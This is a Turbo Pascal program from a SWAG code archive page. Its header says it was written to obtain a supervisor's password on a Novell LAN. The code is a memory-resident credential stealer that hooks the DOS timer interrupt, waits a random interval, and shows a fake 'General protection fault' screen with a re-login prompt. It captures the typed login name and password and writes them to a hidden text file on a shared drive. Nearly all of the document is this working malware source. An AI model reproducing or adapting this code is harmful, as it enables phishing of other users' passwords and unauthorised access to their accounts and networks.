[Back to NUMBERS SWAG index] [Back to Main SWAG index] [Original]
{
From: BERO@flash.gun.de (Bernhard Rosenkraenzer)
A friend of mine wrote it to obtain his supervisor's password for a novell
lan.
}
program Interrupt_Netkill;
{$M $800,0,0}
uses Crt,Dos;
type scr=Array[0..79,0..24,0..1] of Byte;
var OldInt:Procedure;
Counter:Word;
Zufall:Word;
Screen:Scr absolute $B800:0000;
SaveScreen:Scr;
Logname,Password:String;
DosSeg,DosBusy:word;
tsr_on:boolean;
const oldstackss:word=0;
oldstacksp:word=0;
stacksw:integer=-1;
intstackss:word=0;
intstacksp:word=0;
{$F+}
{$I-}
Procedure Input(var s:string);
var c:char; ende:boolean;
begin
s:='';
ende:=false;
repeat
repeat until keypressed;
c:=readkey;
IF c=chr(13) then
ende:=true
else IF c=chr(8) then begin
if length(s)>0 then Dec(s[0]) end
else s:=s+c;
until ende;
end;
Procedure DoJob;
var f:text;
begin
SaveScreen:=Screen;
GotoXY(1,24);
TextColor(Red);
Writeln('General protection fault #317 at SERVER1/');
Writeln('NETIPX created a GPF at 0013:014C');
Writeln('Re-login to continue your work:');
Write('Login-Name: ');
Readln(logname);
Write('Password: ');
Input(Password);
Writeln;
Writeln('Stand by...');
Assign(f,'F:\ALLE\GOT_IT!.TXT');
Append(f);
IF IOResult<>0 then Rewrite(f);
Writeln(f,logname,' logged in with password ',password);
Close(f);
asm cli end;
SetIntVec(8,@OldInt);
asm sti end;
Screen:=SaveScreen;
end;
procedure Int;interrupt;
begin
asm cli
inc word ptr [stacksw]
jnz @a
mov [oldstackss],ss
mov [oldstacksp],sp
mov ss,[intstackss]
mov sp,[intstacksp]
@a: sti
end;
If Counter<Zufall then Inc(Counter);
If (Counter=Zufall) and (tsr_on=false) and (mem[DosSeg:DosBusy]=0) then begin
tsr_on:=true;
Port[$20]:=$20;
DoJob;
tsr_on:=false;
End;
asm cli
dec word ptr [stacksw]
jge @b
mov ss,oldstackss
mov sp,oldstacksp
@b: sti
pushf end;
OldInt;
end;
procedure InitTSR;
begin
tsr_on:=false;
IntStackSS:=SSEG;
asm mov [IntStackSP],SP
mov ah,$34
int $21
mov [DosSeg],ES
mov [DosBusy],BX
end;
end;
begin
SwapVectors;
randomize; Zufall:=Random(5000)+1000; Counter:=0;
InitTSR;
GetIntVec(8,@OldInt);
SetIntVec(8,@Int);
Keep(0);
end.
[Back to NUMBERS SWAG index] [Back to Main SWAG index] [Original]